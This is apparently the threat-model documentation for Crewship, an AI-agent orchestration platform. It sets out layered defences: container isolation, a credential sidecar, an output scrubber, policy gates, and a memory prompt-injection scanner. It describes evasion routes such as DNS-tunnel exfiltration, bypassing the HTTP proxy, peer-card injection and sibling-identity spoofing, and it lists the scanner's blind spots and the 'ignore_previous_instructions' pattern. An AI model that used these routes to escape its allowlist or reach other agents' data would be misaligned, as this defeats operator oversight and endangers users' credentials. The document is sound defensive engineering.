​

Threat Model

​

Adversary

• The host kernel and container runtime.
• The Crewship binary and sidecar binary on disk. The curl | sh installer verifies the SHA-256 against a signed checksums file and — when cosign is on PATH — also verifies the Sigstore signature against the project’s release workflow identity. Homebrew and Docker Compose installs rely on the upstream channel’s own integrity; operators in regulated environments should run cosign verification manually. See Install.
• The operator running crewship.

• Anything the agent reads — system prompt, user prompt, tool output, fetched documents, MCP server responses.
• The agent’s own output, until the scrubber has run over it.
• Network destinations the agent wants to reach.

​

Layer 1 — Container isolation

• UID 1001 (agent) for the agent process; UID 1002 for the per-agent sidecar.
• CapDrop: ["ALL"] as the starting capability set.
• No capabilities are added back by default — CapAdd starts empty. NET_RAW used to be granted (for ping) but was removed: it lets a process open AF_PACKET sockets, a DNS-tunnelling exfil primitive that can carry stolen secrets out via base64-encoded subdomain lookups even when the egress allowlist blocks every other domain. A crew that genuinely needs raw sockets / ICMP can opt in through team.CapAdd, which the devcontainer-features parser restricts to an explicit allowlist (NET_BIND_SERVICE today).
• no-new-privileges security opt + read-only root filesystem
  • PID limit + memory + CPU quotas + tmpfs /tmp with a 500 MB cap.
• No Docker socket bind-mounted into the agent container. The agent cannot launch sibling containers, mount the host docker.sock, or enumerate peers.
• Mounts: the workspace directory read/write and /output/<agent>/ for any persistent files; nothing else by default.
• NetworkMode is instance-wide, set from the server config (p.cfg.Network) — not per-agent. Operators who need per-agent network isolation must build it at the host network layer (e.g. per-crew Docker networks) rather than rely on the runtime default.

​

Privileged-mode escape hatch

​

Blast radius if the agent escapes

​

Layer 2 — Sidecar credential broker

1. Credentials are encrypted at rest in the host database with AES-256-GCM using the operator’s ENCRYPTION_KEY (internal/encryption); the sidecar holds the decrypted working set in an in-memory store (internal/sidecar/credstore) that never touches disk.
2. A per-agent sidecar runs alongside the agent container, also as a non-root user (UID 1002).
3. The agent’s outbound HTTP traffic is proxied through the sidecar. When the agent calls https://api.openai.com/..., the sidecar:
   • Checks the destination against the per-agent allowlist.
   • Looks up the credential mapped to that destination.
   • Injects the Authorization header on the way out.
   • Forwards the response back.
4. The sidecar’s credentials are loaded once at startup over stdin as a JSON payload. In transit the JSON is base64-wrapped inside the container launch command (echo '<b64>' | base64 -d | crewship-sidecar) so the shell never interprets credential bytes; the pipeline decodes it before the sidecar reads stdin. They are never written to the agent container’s environment.

• Read API keys via printenv, cat /proc/1/environ, or any other env-var introspection — credentials don’t live in the agent’s env.
• Reach an HTTP destination not in its allowlist as long as it uses the HTTP_PROXY / HTTPS_PROXY env vars that orchestrator injects (http://127.0.0.1:9119). Well-behaved Go/Python/Node HTTP clients honor this; clients that ignore proxy env vars (or that open raw sockets) can bypass it. Hard egress filtering at the network layer is the operator’s responsibility — see Container isolation for hardening options.
• Exfiltrate credentials by tricking the LLM into echoing them — the scrubber (Layer 3) drops anything that looks like a key in the agent’s output before it lands in the journal or web UI.

​

Layer 3 — Output scrubber

​

Layer 4 — Keeper policy layer

• Allow — the call proceeds (default for everything not matched).
• Deny — the call is blocked, the agent receives a structured error, the decision is journalled.
• Require approval — the call pauses, a waitpoint lands in the operator’s Inbox, and the agent resumes (or is denied) on the operator’s choice.
• Escalate — the call routes to a second-opinion agent (“gatekeeper LLM”) for a softer decision, with the final answer captured in the journal.

​

Layer 5 — Memory prompt-injection scanner

​

Flow

• The scanner runs in three stages from cheapest (unicode codepoint scan) to most expensive (base64 decode + re-scan). Most content fails fast at step 1 or 2; the base64 path only fires on content that LOOKS like it might be hiding an encoded payload.
• The homoglyph fold (Cyrillic ј → Latin j, etc.) is folded into the regex pass — it’s not a separate step. Pure-ASCII content skips the NFKD normalisation entirely so the operator-typed CREW.md doesn’t pay the homoglyph tax.
• Quarantine write failures fail closed: the model gets an IsError=true tool result rather than the poisoned content. A half-working scanner is worse than no scanner if it leaks on the failure path.
• Idempotency: same content → same SHA → same .quarantine/{sha}.md filename, overwritten in place. Reading a poisoned file twice doesn’t accumulate duplicate quarantine copies.

​

Rule families (current — PR-F4 v2)

​

What the scanner does NOT catch (yet)

• Cross-language homoglyph beyond Cyrillic/Greek — Hebrew, Armenian, Mathematical Alphanumeric Symbols block. Low priority because the existing rules target English-language injection patterns and the homoglyph fold table only needs to cover what attackers can substitute for ASCII letters in the existing rule set. Extensions are additive.
• Multi-step prompt injection — content that’s benign on its own but builds an instruction when combined with the next read. Out of scope; the scanner is single-pass per file.
• Adversarial LLM output mimicking benign content — content that says “PROCEED” to a downstream agent’s heuristic check. That’s a Layer 4 (Keeper) defence, not Layer 5.
• Content the agent SELF-AUTHORED that’s later read by another agent — peer cards are a real attack surface here. The peer-card writer caps content to 1500 B + the GDPR cascade can purge cards, but a malicious agent writing instructions into a peer card today bypasses the inbound-only scan because peer cards are written authoritatively. Tracked as PR-F follow-up: extend ScanContent to peer-card WRITE path.
• Inbound content above the per-tier byte cap — caps are 4000 / 4000 / 1500 / 8000 / 30000 / 1500 / no-cap (lessons) bytes per tier. The scanner runs on whatever fits within the cap; content truncated by cap before reaching the scanner is benignly cut off.

​

Quarantine response — what an operator sees

[BLOCKED: "prompt_injection" pattern "ignore_previous_instructions"
detected in "daily/2026-05-21.md". Original content quarantined to
.quarantine/a3f8e2c1...md for operator review. This placeholder
is a safe substitute; the poisoned content was never returned to you.]

1. .quarantine/{sha256}.md lands on disk inside the agent’s container — content + YAML frontmatter (category / pattern / source path / SHA) so triage tooling can route without re-running the scan
2. A journal entry fires (entry_type = memory.scan.hit) with the same triple
3. The agent’s next tool result includes the placeholder so the model can see SOMETHING happened (it can ask the operator about it instead of looping on “why is this file empty”)

​

Fail-closed posture

​

Ingress trust fence

<untrusted source="webhook" id="<nonce>" suspicion="high">
…external content…
</untrusted id="<nonce>">

• The nonce is random per call and stripped from the content, so an attacker cannot forge the id-matching closing tag to “break out” of the fence — a bare </untrusted> inside the payload is inert data.
• lookout.ScanInput scans the content and annotates the block’s suspicion level rather than blocking, so a legitimate issue that quotes an injection example is fenced-and-flagged, not dropped.
• One line in the base system prompt (crewshipSystemPreamble) tells the model to treat <untrusted …> blocks as pure data, never instructions, and to report — not act on — any directive found inside.

​

What this composition does and does not protect against

​

Beta posture and known gaps

• Egress is HTTP_PROXY-style, not network-enforced. Agents that bypass HTTP_PROXY or open raw sockets exit the allowlist unchecked. Operators who need hard egress control must layer Docker network policies (--internal, custom networks, egress firewall) on top.
• NET_RAW is dropped by default (it was previously granted for ping). Crews that need raw sockets / ICMP must opt in explicitly via team.CapAdd, which is restricted to a capability allowlist.
• Privileged crews bypass most of Layer 1. Anything flagged Privileged: true is outside this threat model.
• Container-runtime isolation is the host’s responsibility. The default Docker config is not rootless, and Apple Containers / Colima have different threat profiles than upstream Docker.
• The server itself holds Docker socket access, which is root-equivalent on the host. Nothing above changes that: agents are fenced out of the socket, the process that creates their containers is not. A filtering proxy narrows it to the endpoints we use — see Docker Socket Proxy — but that page is explicit that the control cannot stop a privileged container being created, because the proxy filters URL paths and Privileged: true lives in the request body. The workspace allow_privileged_credentials gate remains the fence for that.
• Keeper rulesets ship empty. Operators write the rules that matter for their environment; there is no “secure by default” policy yet.

​

Account enumeration on the public auth surface

​

Tenant isolation on internal-auth handlers

• Workspace-bound tokens (wsv1.<workspace_id>.<HMAC-SHA256(master, derivation_context || workspace_id)>, derived by internaltoken.DeriveWorkspaceToken) are what sidecars receive at startup via their stdin IPCConfig. The MAC is keyed by the master secret and computed over a fixed versioned domain-separation context concatenated with the workspace ID (not the workspace ID alone). The middleware re-derives the MAC from the embedded workspace ID and the in-memory master secret, so a token captured inside a container only ever authorizes the workspace it was issued for. Derivation is stateless; tokens roll with the master on every boot. The binding is enforced as a mandatory request scope, not as an optional ?workspace_id check (that earlier shape left a hole: a bound token that simply omitted the query fell through to unscoped reach). requireInternal now, for a bound token:
  • rejects (403) a supplied ?workspace_id that disagrees with the binding; and
  • injects the bound workspace into ?workspace_id when the caller omits it. Every handler that filters by ?workspace_id (webhook secret, list credentials, agent/chat resolve, crew/agent create, …) is therefore tenant-scoped automatically — there is no “legacy unscoped” fall-through for bound tokens. Path-param mutations that do not read the query (chat message-count / title, run finalize, credential status) additionally constrain their WHERE clause by the bound workspace from context (foreign rows → 404, never mutated). Handlers scoped by a workspace_id carried only in the JSON body (issue/mission/assignment/query/escalation create, confidence report, cost record, journal emit, pipeline save) enforce the same binding in-handler via assertInternalTokenWorkspace (403 on a foreign tenant), since the auth middleware cannot inspect bodies.
• The master token (CREWSHIP_INTERNAL_TOKEN) never enters a container. It remains valid for host-side trusted callers (the chat bridge resolver and the LLM proxy cost monitor; the former webhook secret resolver was removed — the trigger handler now reads the secret from its local DB, never over IPC) that dial the internal API in-process over loopback (127.0.0.1 / ::1). Because the master’s bound scope is empty it authorizes every workspace, so a copy leaked into a crew container would otherwise retain full cross-tenant power. To cap that blast radius, requireInternal pins the master to a loopback origin: a master token arriving from a Docker-bridge / LAN IP (the only place a container-side leak could be replayed from) is refused with 403. Sidecars reach the API from a bridge IP and always carry a bound token, so they are unaffected. Operators who front crewshipd with a reverse proxy that rewrites RemoteAddr opt back into token-only with CREWSHIP_INTERNAL_ALLOW_ANY=true (the same kill-switch that relaxes the network gate), accepting that the token is then the sole guard.

​

Per-agent identity on the shared sidecar

• a valid token is authoritative and overrides any from/URL slug in the request (a spoofed from naming a real sibling no longer wins);
• a token that matches no crew member is refused (403 / JSON-RPC error);
• with no token, the request is refused whenever the crew has per-agent tokens provisioned (the normal case after this change) — a sibling cannot drop the Authorization header to fall through to the spoofable membership check. Only a genuinely token-less (un-upgraded) deployment falls back to the prior behaviour (membership-validated from for escalate/query, URL slug for the memory path), so upgrading the binary doesn’t break crews whose agents don’t yet carry tokens. Because the master never enters a container, the token cannot be forged from inside the agent process.

​

Where the memory refusal is enforced (CRE-153)

• A forged token. Authorization: Bearer anything was not a token-less downgrade, so the gate passed it, and no legacy handler resolved identity behind it. Reading the boot agent’s private AGENT.md cost one arbitrary header — a cheaper bypass than the one being fixed. Forgery is now refused at the chokepoint, not assumed of downstream callers.
• A sibling’s own valid token. The five legacy handlers resolved the agent tier from the sidecar’s boot agent, so any authenticated member read and overwrote the boot agent’s tier. This was first closed by refusing every agent-scoped request from a non-boot member outright (403, pointing at /mcp/memory/<slug>) — a stopgap, since a sibling’s own memory was simply unreachable over this surface rather than actually served. #1301 replaced the refusal with the real fix: legacyMemoryEffectiveSlug resolves the ACTING agent from its token (the same identity /mcp/memory/<slug> already resolved), and read/write swap to that agent’s own base path while search/status/reindex — which run through a real FTS5-indexed memory.Engine, not a plain file read — get their own per-agent Engine instance from a lazily-built, slug-keyed cache (peerMemoryEngineFor, internal/sidecar/memory_mcp.go) instead of always the boot agent’s. The cache is bounded by crew roster size (an unknown slug is refused before an entry is ever created) and every entry is closed at sidecar shutdown alongside memoryEngine/crewMemoryEngine. scope=crew was never part of this — it resolves to one directory shared by the whole crew by construction, so there is no per-agent crew tier to cross. The first cut of the stopgap refusal mistakenly refused it too, breaking sibling access to shared memory — a functional regression wearing a security fix’s clothes, caught in review before it shipped.

​

The hybrid branch — acting identity across the IPC boundary (#1348)

• the sidecar attaches X-Acting-Agent-Slug, derived exclusively from the token-resolved acting identity (or, on a token-less legacy crew, the boot slug from the orchestrator-minted IPC config — never from the URL or the request payload), and refuses to forward at all when no identity resolves;
• the host serves the forward on a dedicated internal route (POST /api/v1/internal/memory/search/hybrid) that re-proves the slug against the internal token’s cryptographic workspace/crew binding: an unknown slug, a sibling-crew slug, a foreign-workspace slug, a missing header, or an unbound (master) token are all refused with 403, never fallen back to a wider identity. scope=own then filters episodic recall by the resolved agent, and crew_shared is pinned to the token’s bound crew plus the acting agent’s membership in it.

• /query, /escalate and the agent-attribution routes (the whole issue surface — /issue/create, /issues, /issue/<id> GET and PATCH, /issue/<id>/comment, /issue/<id>/link, /issue/<id>/attachments GET and POST, /issue/<id>/attachments/<id> GET — plus /expose-port, /keeper/*, /pipelines/save, /pipelines/<slug>/run, /mcp/routines, /connections/<crew>/message, /report-confidence) resolve the acting agent inside the handler and fail closed there. They are not behind a prefix gate; a route added next to them does not inherit the check. The issue reads are on this list deliberately rather than in the crew-scoped bucket below: the board is crew data, and a sibling that omits its Authorization header must not fall back to the boot agent’s identity to read it.
• Crew-scoped routes (mission start, pipeline dry-run, cross-crew message and file reads) carry no per-agent decision at all: any member of the crew may drive them, and authorization is applied by crewshipd on the far side of the IPC hop. That is an accepted boundary, not an oversight.
• TestSidecarRoutes_IdentityCoverage enumerates the routes registered in the sidecar router directly from source and fails when one is not classified, so the next route cannot silently join the first category by accident.

​

Resolved exception — Keeper Phase 2 family

• Asymmetric forgery (caller passes workspace A in query, claims workspace B in body) is rejected by the assertBodyWorkspaceMatchesCtx helper in internal/api/keeper_phase2.go, which compares both values and returns 400 on mismatch.
• Symmetric forgery (caller picks one foreign workspace consistently across both query and body) is closed by PR-F24: the X-Internal-Token a sidecar holds is bound to its workspace at issue time, and both internalAuth and internalWsCtx validate that binding against ?workspace_id (403 on mismatch).

• The binding derives its trust from the sidecar process boundary (UID 1002 vs. agent UID 1001). An attacker who fully compromises the sidecar process itself still acts with that one workspace’s authority — the intended blast-radius cap.
• The master-token loopback pin assumes host-side trusted callers reach the internal API over loopback, which holds for the in-process callers in this codebase (internal/chatbridge/resolver.go dials WithInternalLoopbackURL = 127.0.0.1:<port>; the LLM-proxy TokenSyncer / CredentialMonitor dial cfg.Auth.NextjsURL, which defaults to http://localhost:<port>). If an operator overrides CREWSHIP_NEXTJS_URL to a non-loopback host so the proxy dials the API across a network hop, those master-token calls will be refused unless CREWSHIP_INTERNAL_ALLOW_ANY=true is also set — a deliberate fail-closed posture, documented here rather than silently relaxed.
• The credential-metadata listing’s crew scope binds to the crew, so a crew-less run’s sidecar (which is issued a workspace-bound token, orchestrator.sidecarIPCToken with crewID == "") still receives every credential’s metadata in its own workspace. That is the token’s true scope, injected server-side — not an omission the caller chose, and not a scope it can escape: minting a workspace-bound token or rewriting a crew-bound one requires the master secret, which never enters a container. The listing is metadata only (include_values is separately loopback-gated), and it is deliberately not narrowed to an empty response for such a caller: the sidecar’s credential reaper reconciles its in-memory CredStore against this listing, so an empty 200 would evict every provider key the container booted with. Pinned as a sentinel test in internal/api/internal_credentials_crew_token_closure_sec_test.go.

​

Hardening surface — what’s locked vs. what’s tracked

​

Layer 6 — Authorization chokepoint (complete mediation)

​

Reporting issues

​

Related

• Container isolation
• Encryption
• RBAC
• Audit logging
• Credentials guide
• Keeper guide
• Telemetry — what crash-reporting does and does not send.